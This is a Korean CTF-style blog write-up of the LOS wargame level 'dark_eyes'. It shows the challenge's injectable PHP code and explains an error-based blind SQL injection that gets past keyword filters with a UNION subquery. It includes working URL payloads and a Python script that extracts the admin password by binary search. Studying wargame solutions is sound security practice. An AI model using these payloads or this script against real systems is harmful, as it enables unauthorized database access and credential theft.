Tyojong
[LOS] dark_eyes 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
문제 목표
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
if, case 와 같은 조건문과 sleep, benchmark 같은 시간 관련 함수가 필터링 된다.
if(mysqli_error($db)) exit();
db에러가 발생하면 아무것도 출력시키지 않는다. 에러 발생 유무의 차이로 blind sqli가 가능하다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
패스워드가 정확히 일치해야 문제가 해결된다.
문제 해결
if 또는 case 구문을 사용하지 않고 참&거짓에 따라 에러를 발생시키면 된다.
?pw=' or 1--+

mysql에서 or 이후 숫자를 하나 입력하면 참이되는 정상적인 구문이 만들어진다.
?pw=' or (select 1)--+

해당 값을 서브쿼리를 이용해 구문이 만들어지도록 변경한다.
?pw=' or (select 1 union select 1)--+

union select 구문을 추가하면 1이 중복 되기 때문에 하나의 1값만 반환되어 에러 없이 구문이 만들어진다.
?pw=' or (select 1 union select 1=1)--+

union select 구문에 1=1을 넣었을 때 1=1은 참(1) 을 반환하므로 union select 1과 동일하게 문제없이 구문이 만들어진다.
?pw=' or (select 1 union select 1=2)--+
하지만 1=2를 넣을 경우 거짓(0)을 반환하게 되고 union구문으로 인해 1과 0 두 개의 행으로 값이 반환된다.
반환되는 행이 두 개가 되므로 구문에 에러가 발생해 문제에서 아무것도 출력되지 않는다.
union select 구문에 참&거짓 구문을 만들어 에러 발생 유무의 차이를 이용해 pw를 파악하면 된다.
또한 서브쿼리 앞에 ?pw=' or id='admin' and (select ~~ 처럼 id가 admin인 것을 명시하지 않으면
union 구문에서 admin을 제외한 다른 pw도 반환해 반환값이 2개 이상이 되어 참&거짓값을 제대로 파악할 수 없다.
import requests
URL = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookies = {"PHPSESSID": "세션 값"}
pw_len = 0
while True:
print(f"pw length: {pw_len}", end="\r")
payload = f"?pw=' or id='admin' and (select 1 union select length(pw)={pw_len})--+"
r = requests.get(URL + payload, cookies=cookies)
if "query" in r.text:
break
pw_len += 1
print(f"pw length: {pw_len}")
password = ""
for i in range(1, pw_len + 1):
low = 32
high = 126
while low < high:
mid = (low + high) // 2
print(f"pw: {password + chr(mid)}", end="\r")
payload = f"?pw=' or id='admin' and (select 1 union select ascii(substr(pw,{i},1))<={mid})--+"
r = requests.get(URL + payload, cookies=cookies)
if "query" in r.text:
high = mid
else:
low = mid + 1
password += chr(low)
print(f"password: {password}")


'web > LOS' 카테고리의 다른 글
| [LOS] iron_golem (0) | 2026.02.03 |
|---|---|
| [LOS] dragon (0) | 2026.01.30 |
| [LOS] xavis (2) | 2026.01.27 |
| [LOS] nightmare (0) | 2026.01.07 |
| [LOS] zombie_assassin (0) | 2025.08.14 |
